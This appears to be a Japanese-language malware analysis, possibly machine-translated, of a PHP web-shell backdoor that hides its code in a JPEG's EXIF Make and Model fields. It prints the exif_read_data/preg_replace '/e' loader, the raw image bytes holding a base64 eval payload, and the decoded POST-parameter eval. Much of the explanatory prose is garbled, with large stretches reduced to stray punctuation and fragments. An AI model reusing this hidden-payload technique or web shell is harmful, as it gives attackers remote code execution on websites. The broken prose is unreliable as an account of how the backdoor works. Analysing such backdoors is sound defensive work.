phpピクチャー木馬解説

4521 ワード

これは非常に興味深いバックドアで、通常のモードでコンテンツ(base 64/gzip符号化など)を隠すわけではありませんが、JPEGピクチャのEXIFヘッダに自分のデータを隠しています.exifも使用しますread_dataとpreg_replaceの2つのPHP関数は、EXIFヘッダを読み取り、実行します.
詳細
この裏口は2つの部分に分けることができる.第1部はexif_read_data関数はピクチャヘッダを読み出し、preg_replace関数を使用してコンテンツを実行します.次は、攻撃されたWebサイトで発見されたコードです.
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],''); 

。exif_read_data ,preg_replace 。 ,preg_replace , “/e”, eval() , / 。

bun.jpg , :

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^ 

, ”make” ”/.*/e” 。 , preg_replace eval() 。

 

……

EXIF , , “eval ( base64_decode” ”Model“ 。 , 。 EXIF Make Model , preg_replace 。 $exif['Make'] $exif['Model'] , 。

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ..."); 

$_POST["zz1"] 。 。

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"].. 

, bun.jpg , 。 , , 。 。

Call to undefined function exif_read_data()

Exif :Call to undefined function exif_read_data()

extension=php_exif.dll

extension=php_mbstring.dll ....